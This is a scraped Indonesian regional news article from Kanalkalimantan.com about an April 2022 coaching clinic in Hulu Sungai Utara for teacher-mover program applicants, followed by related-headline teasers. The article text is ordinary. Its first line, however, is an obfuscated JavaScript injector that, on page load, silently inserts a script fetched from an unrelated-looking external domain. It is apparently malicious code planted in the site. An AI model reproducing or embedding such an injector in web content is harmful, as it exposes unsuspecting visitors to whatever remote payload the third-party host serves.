(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, AMUNTAI – Dinas Pendidikan Kebudayaan (Disdikbud) Kabupaten Hulu Sungai Utara (HSU) menggelar coaching clinic ke-2 gelombang pertama pendaftaran Calon Guru Penggerak (CGP) dan Calon Pengajar Praktik (CPP) program pendidikan guru penggerak angkatan 7 Kabupaten HSU.
Kegiatan digelar di gedung Agung lantai 2, Selasa (5/4/2022), diikuti sebanyak 170 peserta yang dibagi dua sesi. Narasumber dari Pusat Pengembangan Pemberdayaan Pendidik dan Tenaga Kependidikan Ilmu Pengetahuan Alam (PPPPTK IPA) Bandung, Chatin Fakara, Irvan Fadhila Asir, dan Tika Andriyani.
Program Kementerian Pendidikan, Kebudayaan, Riset dan Tekhnologi (Kemendikbudristek) RI ini rangka membangun pola pikir yang baru, dimana anak didik menjadi tolak ukur dalam pembelajaran. Mengingat perbedaan kemampuan yang dimilikinya, maka guru penggerak inilah yang akan mengobservasi.
“Dalam kurikulum kedepannya, program ini lebih mengacu kepada menilai potensi murid. Jadi guru lebih mengobservasi akan kemampuan dan kemauan murid, sehingga dapat lebih diarahkan efesien dan efektif,” kata Kepala Disdikbud HSU Jumadi.
Baca juga : Tim Puslitbang Polri Supervisi Penilaian Kinerja Polres HSU
Lebih lanjut dikatakan Kadisdikbud HSU, adanya program pendidikan guru penggerak ini akan menjadi pelopor pendidikan, sehingga memberikan perubahan dan peningkatan sumber daya manusia (SDM) yang memiliki karakter, daya saing, serta akhlak mulia.
Ia menambahkan, program guru penggerak ini adalah mereka para guru PNS atau non PNS yang berasal dari sekolah negeri maupun swasta yang terdaftar di data pendidik.
“Diharapkan ke depannya akan muncul sekolah penggerak yang akan disesuaikan dengan kurikulum Merdeka yang merupakan gagasan kabinet saat ini,” jelasnya.
Sementara itu, Pelaksana Tugas (Plt) Bupati HSU H Husairi Abdi, mengapresiasi sekaligus berharap agar peserta bisa mengikuti kegiatan secara optimal.
Baca juga : IRT Penjual Sabu di Kapuas Tengah Dibekuk Polisi
“Saya menyadari kegiatan ini sangat penting selain meningkatkan skil dan kemampuan bagi peserta, juga dapat meningkatkan kualitas dan kompetensi sebagai guru atau pendidik yang profesional, sesuai dengan arah dan kebijakan pemerintah daerah dalam meningkatkan pelayanan dan kualitas pendidikan,” kata Husairi.
Mewujudkan sumber daya manusia handal berkualitas dan memiliki daya saing tinggi, serta memiliki kualitas iman dan taqwa, sektor pendidikan di HSU harus diperhatikan dengan serius.
Salah satu narasumber, Chatin Fakara berharap hendaknya tenaga pendidik atau guru bisa menjadi CGP dan CPP dengan mudah.
“Kegiatan ini bisa memfasilitasi tenaga pendidik atau guru yang berada di Kabupaten HSU bisa mendaftar jadi CGP dan CPP pada program guru penggerak,” pungkasnya. (Kanalkalimantan.com/dew)
Reporter : dew
Editor : bie
KANALKALIMANTAN.COM, JAKARTA - Kementerian Transmigrasi (Kementrans) turun tangan langsung menangani kasus pencabutan Sertipikat Hak Milik… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota Banjarbaru mengeluarkan surat edaran tentang pelaksanaan kegiatan masyarakat pada bulan… Read More
KANALKALIMANTAN.COM, BANJARBARU – Cuaca di Kalimantan Selatan (Kalsel) dalam sepekan ke depan diprakirakan masih didominasi… Read More
KANALKALIMANTAN.COM, PARINGIN - Badan Penanggulangan Bencana Daerah (BPBD) Kabupaten Balangan menuntaskan tahap II pelatihan Tim… Read More
KANALKALIMANTAN.COM, JAKARTA — Kementerian Agama Republik Indonesia (Kemenag RI) resmi menetapkan 1 Ramadan 1447 Hijriah… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Kantor Wilayah (Kanwil) Kementerian Agama Provinsi Kalimantan Selatan (Kemenag Kalsel) menggelar pemantauan… Read More
This website uses cookies.